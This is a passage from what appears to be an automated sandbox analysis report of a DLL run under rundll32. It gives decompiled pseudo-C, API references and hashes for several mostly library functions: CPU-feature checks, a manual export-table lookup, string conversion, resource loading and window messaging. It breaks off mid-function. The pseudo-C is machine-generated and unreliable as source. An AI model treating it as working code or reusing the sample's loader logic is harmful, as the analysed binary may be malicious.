Opcode ID: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction ID: 8873b40b3358b87e9332ca8c9146562190e137befea279647b799a71fcd87530
Opcode Fuzzy Hash: 70501895dbc1ad2a0e808d427635024ad07f3595ed01fbc2665ff07db8d8f757
Instruction Fuzzy Hash: 7001F431204303DFE321DFA1DE05B4A76E0EF05781F018A08F4DAA8061DBB1D8D0DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 100224E9, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E100224E9() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x1002bb98;
					_v28 =  *0x1002bb90;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32,1001A130), ref: 100224EE
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 100224FE

Strings

IsProcessorFeaturePresent, xrefs: 100224F8
KERNEL32, xrefs: 100224E9

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction ID: b1380c49f8d15cda8b98f9f56e3724ed638b8beb480886d8724856f67b077174
Opcode Fuzzy Hash: 3c78fa25cbee28e165ffdeda389deaa1f92564da871b159ff165506123a88fa1
Instruction Fuzzy Hash: EDF03030900D1EE2EF00ABE1BC596AF7A78FB44785FD20490E681B0088DF7181718681

Uniqueness

Uniqueness Score: -1.00%

Function 10002D50, Relevance: 6.4, APIs: 5, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002D50(intOrPtr __ecx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				signed short* _v36;
				intOrPtr _v40;
				void* _t79;
				void* _t119;

				_v40 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v12 = 0;
				_v16 =  *_a4 + 0x78;
				if( *((intOrPtr*)(_v16 + 4)) != 0) {
					_v8 = _v20 +  *_v16;
					if( *((intOrPtr*)(_v8 + 0x18)) == 0 ||  *((intOrPtr*)(_v8 + 0x14)) == 0) {
						SetLastError(0x7f);
						return 0;
					} else {
						if((_a8 >> 0x00000010 & 0x0000ffff) != 0) {
							_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x20));
							_v36 = _v20 +  *((intOrPtr*)(_v8 + 0x24));
							_v24 = 0;
							_v28 = 0;
							while(_v28 <  *((intOrPtr*)(_v8 + 0x18))) {
								_t79 = E10001F70(_a8, _v20 +  *_v32);
								_t119 = _t119 + 8;
								if(_t79 != 0) {
									_v28 = _v28 + 1;
									_v32 = _v32 + 4;
									_v36 =  &(_v36[1]);
									continue;
								}
								_v12 =  *_v36 & 0x0000ffff;
								_v24 = 1;
								break;
							}
							if(_v24 != 0) {
								L17:
								if(_v12 <=  *((intOrPtr*)(_v8 + 0x14))) {
									return _v20 +  *((intOrPtr*)(_v20 +  *((intOrPtr*)(_v8 + 0x1c)) + _v12 * 4));
								}
								SetLastError(0x7f);
								return 0;
							}
							SetLastError(0x7f);
							return 0;
						}
						if((_a8 & 0xffff) >=  *((intOrPtr*)(_v8 + 0x10))) {
							_v12 = (_a8 & 0xffff) -  *((intOrPtr*)(_v8 + 0x10));
							goto L17;
						}
						SetLastError(0x7f);
						return 0;
					}
				}
				SetLastError(0x7f);
				return 0;
			}

APIs

SetLastError.KERNEL32(0000007F), ref: 10002D7F
SetLastError.KERNEL32(0000007F), ref: 10002DAB

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction ID: 028074866867044f4bb64f701422ec5252acdb94d91fdee864382ef112f730bb
Opcode Fuzzy Hash: 4d3452531a7c5fa1c81c99bf09ef5018cf44bb84df21a50ba64e81c18ec72dd0
Instruction Fuzzy Hash: F7510570A4415AEFEF04CF94C880AAEB7F1FF48384F608569D855AB349D734EA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10023E83, Relevance: 6.1, APIs: 4, Instructions: 101
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10023E83(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E10016E2B( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E1001E243( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x840ffff8
								__eflags = MultiByteToWideChar( *_t40, 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E10017D62(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0xa045ff98
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0xa045ff98
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								__eflags = _v8;
								_t27 = _t56 + 0xac; // 0xa045ff98
								_t57 =  *_t27;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x840ffff8
							_t58 = MultiByteToWideChar( *_t21, 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10023EB3
__isleadbyte_l.LIBCMT ref: 10023EE7
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,A045FF98,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F18
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,?,00000000,00000000,?,00000000,10022C1D,?,?,00000002), ref: 10023F86

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction ID: bc0a73e0192d900c1d89498958e44598309ec6eeb61669affd2269eacaf1277d
Opcode Fuzzy Hash: 9fecb1cfdfc7269cf4ddeba3d560e390ad46f881d90bbc81769201c589544707
Instruction Fuzzy Hash: EA319931A0028AEFDF50DFA4E891AAE7BF9EF00251F92C5A9F4648B191D330E944DB50

Uniqueness

Uniqueness Score: -1.00%

Function 100145B9, Relevance: 6.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E100145B9(void* __ecx, void* __edx, void* __edi, void* __eflags, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t39;
				void* _t47;
				intOrPtr* _t48;
				void* _t50;
				void* _t51;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t68;
				void* _t70;

				_t65 = __edi;
				_t64 = __edx;
				_t51 = E1000D61F(_t50, __ecx, __edi, _t68, __eflags);
				_t29 =  *((intOrPtr*)(_t51 + 0x10));
				if(_t29 == 0) {
					L19:
					return 0 |  *((intOrPtr*)(_t51 + 0x10)) != 0x00000000;
				}
				_t32 = _t29 - 1;
				 *((intOrPtr*)(_t51 + 0x10)) = _t32;
				if(_t32 != 0) {
					goto L19;
				}
				if(_a4 == 0) {
					L8:
					_push(_t65);
					_t66 =  *((intOrPtr*)(E1000D5EC(_t51, _t65, 0, _t77) + 4));
					_t70 = E100139DB(0x10058f44);
					if(_t70 == 0 || _t66 == 0) {
						L18:
						goto L19;
					} else {
						_t35 =  *((intOrPtr*)(_t70 + 0xc));
						_t80 = _t35;
						if(_t35 == 0) {
							L12:
							if( *((intOrPtr*)(_t66 + 0x98)) != 0) {
								_t36 =  *((intOrPtr*)(_t70 + 0xc));
								_a4 = _a4 & 0x00000000;
								_t83 = _t36;
								if(_t36 != 0) {
									_push(_t36);
									_t39 = E1001A023(_t51, _t64, _t66, _t70, _t83);
									_push( *((intOrPtr*)(_t70 + 0xc)));
									_a4 = _t39;
									E10016380(_t51, _t66, _t70, _t83);
								}
								_t37 = E1001703B(_t51, _t64, _t66, _t70,  *((intOrPtr*)(_t66 + 0x98)));
								 *((intOrPtr*)(_t70 + 0xc)) = _t37;
								if(_t37 == 0 && _a4 != _t37) {
									 *((intOrPtr*)(_t70 + 0xc)) = E1001703B(_t51, _t64, _t66, _t70, _a4);
								}
							}
							goto L18;
						}
						_push(_t35);
						if(E1001A023(_t51, _t64, _t66, _t70, _t80) >=  *((intOrPtr*)(_t66 + 0x98))) {
							goto L18;
						}
						goto L12;
					}
				}
				if(_a4 != 0xffffffff) {
					_t47 = E1000B510();
					if(_t47 != 0) {
						_t48 =  *((intOrPtr*)(_t47 + 0x3c));
						_t77 = _t48;
						if(_t48 != 0) {
							 *_t48(0, 0);
						}
					}
				}
				E100144ED( *((intOrPtr*)(_t51 + 0x20)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x1c)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x18)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x14)), _t65);
				E100144ED( *((intOrPtr*)(_t51 + 0x24)), _t65);
				goto L8;
			}

APIs

__msize.LIBCMT ref: 1001464A
__msize.LIBCMT ref: 1001466D
_malloc.LIBCMT ref: 10014685
_malloc.LIBCMT ref: 1001469A

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: __msize_malloc
String ID:
API String ID: 1288803200-0
Opcode ID: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction ID: c51f58ba7030090f65d8388f2f6216d6b95cef8c4540db251b535ec9dede0d79
Opcode Fuzzy Hash: f4a42d07282e480ba19c61c33f8d9b2ab7007992bfdb09378e69a2fee1890d3d
Instruction Fuzzy Hash: 2E21F375500A019FCB55DF34D881B5A73E4FF05298B22842AE869DF266DF30ECC1CB82

Uniqueness

Uniqueness Score: -1.00%

Function 10009D34, Relevance: 6.1, APIs: 4, Instructions: 58
windowCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E10009D34(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, char _a12) {
				intOrPtr* _v0;
				void* _v4;
				signed int _v8;
				intOrPtr _v16;
				void* _t20;
				intOrPtr* _t23;
				void* _t29;
				void* _t31;
				intOrPtr _t35;
				char _t36;
				void* _t40;
				void* _t42;
				void* _t44;

				_t44 = __eflags;
				_t38 = __esi;
				_t37 = __edi;
				_t31 = __ebx;
				_push(4);
				E10017BC1(E10027DA5, __ebx, __edi, __esi);
				_t35 = E10009B91(_t44, 0xc);
				_v16 = _t35;
				_t20 = 0;
				_v4 = 0;
				if(_t35 != 0) {
					_t20 = E10009CDE(_t35);
				}
				_t36 = _a4;
				_v8 = _v8 | 0xffffffff;
				 *((intOrPtr*)(_t20 + 8)) = _t36;
				_a4 = _t20;
				E10017C83( &_a4, 0x1002e16c);
				asm("int3");
				_t40 = _t42;
				_t23 = _v0;
				_push(_t31);
				if(_t23 != 0) {
					 *_t23 = 0;
				}
				if(FormatMessageA(0x1100, 0,  *(_t36 + 8), 0x800,  &_a12, 0, 0) != 0) {
					E10009C0D(0, _t36, _t37, _t38, _t40, _a4, _a8, _a12, 0xffffffff);
					LocalFree(_a12);
					_t29 = 1;
					__eflags = 1;
				} else {
					 *_a4 = 0;
					_t29 = 0;
				}
				return _t29;
			}

APIs

__EH_prolog3.LIBCMT ref: 10009D3B

Part of subcall function 10009B91: _malloc.LIBCMT ref: 10009BAB

__CxxThrowException@8.LIBCMT ref: 10009D71
FormatMessageA.KERNEL32(00001100,00000000,8007000E,00000800,?,00000000,00000000,?,?,8007000E,1002E16C,00000004,1000105C,8007000E), ref: 10009D9A

Part of subcall function 10009C0D: _wctomb_s.LIBCMT ref: 10009C1D

LocalFree.KERNEL32(?), ref: 10009DC3

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow_malloc_wctomb_s
String ID:
API String ID: 1615547351-0
Opcode ID: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction ID: 2087144037a306e6c8b96e697859ee983d4da7c50e84c085b7e4f49f0a09e647
Opcode Fuzzy Hash: e381bce633557ad048b1696ea26053178c542294b2cd97fac3bd263aaafec7a1
Instruction Fuzzy Hash: 1E1170B1644249AFEB00DFA4DC81DAE3BA9FB04390F21452AF629CA1D1D731D9508B51

Uniqueness

Uniqueness Score: -1.00%

Function 1000C887, Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E1000C887(void* __ecx) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t23;
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t32;
				signed int _t34;
				signed short _t35;
				void* _t37;
				signed short* _t40;

				_push(__ecx);
				_push(_t28);
				_t37 = __ecx;
				_t42 =  *((intOrPtr*)(__ecx + 0x58));
				_t40 =  *(__ecx + 0x60);
				_v8 =  *((intOrPtr*)(__ecx + 0x5c));
				if( *((intOrPtr*)(__ecx + 0x58)) != 0) {
					_t32 =  *(E1000D5EC(_t28, __ecx, _t40, _t42) + 0xc);
					_v8 = LoadResource(_t32, FindResourceA(_t32,  *(_t37 + 0x58), 5));
				}
				if(_v8 != 0) {
					_t40 = LockResource(_v8);
				}
				_t30 = 1;
				if(_t40 != 0) {
					_t35 =  *_t40;
					if(_t40[1] != 0xffff) {
						_t23 = _t40[5] & 0x0000ffff;
						_t34 = _t40[6] & 0x0000ffff;
					} else {
						_t35 = _t40[6];
						_t23 = _t40[9] & 0x0000ffff;
						_t34 = _t40[0xa] & 0x0000ffff;
					}
					if((_t35 & 0x00001801) != 0 || _t23 != 0 || _t34 != 0) {
						_t30 = 0;
					}
				}
				if( *(_t37 + 0x58) != 0) {
					FreeResource(_v8);
				}
				return _t30;
			}

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 1000C8AD
LoadResource.KERNEL32(?,00000000), ref: 1000C8B5
LockResource.KERNEL32(00000000), ref: 1000C8C7
FreeResource.KERNEL32(00000000), ref: 1000C911

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction ID: fb1a28c5f31200e3abd4209bdb6f3add133a5505808a0a6cde1b54a47ab738f1
Opcode Fuzzy Hash: ba0e54e7ba739e7dbb3db6c45d0c9dd504ce55cc39771a4365ee787ff2243026
Instruction Fuzzy Hash: 46118F3150076AEFE710DF95C889AAAB3F5FF003D5F218029E84252594D770ED50D760

Uniqueness

Uniqueness Score: -1.00%

Function 1000ADB5, Relevance: 6.1, APIs: 4, Instructions: 56
threadCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E1000ADB5(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				intOrPtr _t43;
				void* _t45;
				intOrPtr* _t51;
				void* _t52;
				void* _t53;

				_t53 = __eflags;
				_t46 = __ecx;
				_t44 = __ebx;
				_push(4);
				E10017BC1(E10027E86, __ebx, __edi, __esi);
				_t51 = __ecx;
				 *((intOrPtr*)(_t52 - 0x10)) = __ecx;
				E1000B862(__ebx, __ecx, __edi, __ecx, _t53);
				_t54 =  *((intOrPtr*)(_t52 + 8));
				 *((intOrPtr*)(_t52 - 4)) = 0;
				 *_t51 = 0x10029f54;
				if( *((intOrPtr*)(_t52 + 8)) == 0) {
					 *((intOrPtr*)(_t51 + 0x50)) = 0;
				} else {
					_t43 = E1001817A( *((intOrPtr*)(_t52 + 8)));
					_pop(_t46);
					 *((intOrPtr*)(_t51 + 0x50)) = _t43;
				}
				_t45 = E1000D5EC(_t44, 0, _t51, _t54);
				_t55 = _t45;
				if(_t45 == 0) {
					L4:
					E1000A0DB(_t45, _t46, 0, _t51, _t55);
				}
				_t7 = _t45 + 0x74; // 0x74
				_t46 = _t7;
				_t37 = E1000AA21(_t45, _t7, 0, _t51, _t55);
				if(_t37 == 0) {
					goto L4;
				}
				 *((intOrPtr*)(_t37 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x2c)) = GetCurrentThread();
				 *((intOrPtr*)(_t51 + 0x30)) = GetCurrentThreadId();
				 *((intOrPtr*)(_t45 + 4)) = _t51;
				 *((intOrPtr*)(_t51 + 0x44)) = 0;
				 *((intOrPtr*)(_t51 + 0x7c)) = 0;
				 *((intOrPtr*)(_t51 + 0x64)) = 0;
				 *((intOrPtr*)(_t51 + 0x68)) = 0;
				 *((intOrPtr*)(_t51 + 0x54)) = 0;
				 *((intOrPtr*)(_t51 + 0x60)) = 0;
				 *((intOrPtr*)(_t51 + 0x88)) = 0;
				 *((intOrPtr*)(_t51 + 0x58)) = 0;
				 *((short*)(_t51 + 0x92)) = 0;
				 *((short*)(_t51 + 0x90)) = 0;
				 *((intOrPtr*)(_t51 + 0x48)) = 0;
				 *((intOrPtr*)(_t51 + 0x8c)) = 0;
				 *((intOrPtr*)(_t51 + 0x80)) = 0;
				 *((intOrPtr*)(_t51 + 0x84)) = 0;
				 *((intOrPtr*)(_t51 + 0x70)) = 0;
				 *((intOrPtr*)(_t51 + 0x74)) = 0;
				 *((intOrPtr*)(_t51 + 0x94)) = 0;
				 *((intOrPtr*)(_t51 + 0x9c)) = 0;
				 *((intOrPtr*)(_t51 + 0x5c)) = 0;
				 *((intOrPtr*)(_t51 + 0x6c)) = 0;
				 *((intOrPtr*)(_t51 + 0x98)) = 0x200;
				return E10017C60(_t51);
			}

APIs

__EH_prolog3.LIBCMT ref: 1000ADBC

Part of subcall function 1000B862: __EH_prolog3.LIBCMT ref: 1000B869

__strdup.LIBCMT ref: 1000ADDE
GetCurrentThread.KERNEL32 ref: 1000AE0B
GetCurrentThreadId.KERNEL32 ref: 1000AE14

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CurrentH_prolog3Thread$__strdup
String ID:
API String ID: 4206445780-0
Opcode ID: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction ID: f8307bcc4145d2f3034cc24c4785684ef343d47fe4738e0b5029f7ba663f9659
Opcode Fuzzy Hash: 9c26e9d60202904c8b3007aba5d4454f2b931d5449d83442688f904a073da271
Instruction Fuzzy Hash: 88217EB4800B50CFE721DF6A858564AFBF8FFA4680F10891FD59A87A25CBB0A581CF45

Uniqueness

Uniqueness Score: -1.00%

Function 1001170E, Relevance: 6.1, APIs: 4, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1001170E(intOrPtr* __ecx) {
				char _v20;
				intOrPtr _v32;
				void* __ebx;
				void* __edi;
				intOrPtr* __esi;
				struct HWND__* _t18;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t33;

				_t28 = __ecx;
				_push(0);
				_t33 = __ecx;
				if( *((intOrPtr*)( *__ecx + 0x120))() != 0) {
					__eax =  *__esi;
					__ecx = __esi;
					__eax =  *((intOrPtr*)( *__esi + 0x170))();
				}
				_t30 = SendMessageA;
				SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
				E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
				_t28 = _t33;
				_t33 = E10010DEC(0, _t28, SendMessageA);
				if(_t33 != 0) {
					SendMessageA( *(_t33 + 0x20), 0x1f, 0, 0);
					E1001044A(0, _t28,  *(_t33 + 0x20), 0x1f, 0, 0, 1, 1);
					_t18 = GetCapture();
					if(_t18 != 0) {
						_t18 = SendMessageA(_t18, 0x1f, 0, 0);
					}
					return _t18;
				} else {
					_push(_t28);
					_v20 = 0x10057298;
					E10017C83( &_v20, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, 0, SendMessageA, _t33);
					_t29 = E10013965(0x104);
					_v32 = _t29;
					_t24 = 0;
					_v20 = 0;
					if(_t29 != 0) {
						_t24 = E1000CF71(_t29);
					}
					return E10017C60(_t24);
				}
			}

APIs

SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 10011738
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 10011763

Part of subcall function 1001044A: GetTopWindow.USER32(00000000), ref: 10010458

GetCapture.USER32 ref: 10011775
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 10011784

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$CaptureWindow
String ID:
API String ID: 729421689-0
Opcode ID: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction ID: c1fa24ad5068faa30316ff7830c17e6e1fa791912a80157e4ea929c0746033bf
Opcode Fuzzy Hash: 80fe9e985e59ca35730d0e4f98e874e27816f3184ada4d3ba37fa42bed1d0644
Instruction Fuzzy Hash: EF012CB5350219BFF621AB608CC9FBA36ADEB487C4F010539F685AA1E2C6A19C415660

Uniqueness

Uniqueness Score: -1.00%

Function 10013F17, Relevance: 6.1, APIs: 4, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F17(void* __ecx, intOrPtr __edx, CHAR* _a4, char* _a8, char _a12) {
				signed int _v8;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				CHAR* _t21;
				char* _t24;
				intOrPtr _t28;
				void* _t30;
				signed int _t31;

				_t28 = __edx;
				_t13 =  *0x10057a08; // 0xfd220812
				_v8 = _t13 ^ _t31;
				_t24 = _a8;
				_t30 = __ecx;
				_t29 = _a4;
				if( *((intOrPtr*)(__ecx + 0x54)) == 0) {
					E10016DF0( &_v24, 0x10, "%d", _a12);
					_t18 = WritePrivateProfileStringA(_t29, _t24,  &_v24,  *(__ecx + 0x68));
				} else {
					_t30 = E10013ED1(__ecx, _t29);
					if(_t30 != 0) {
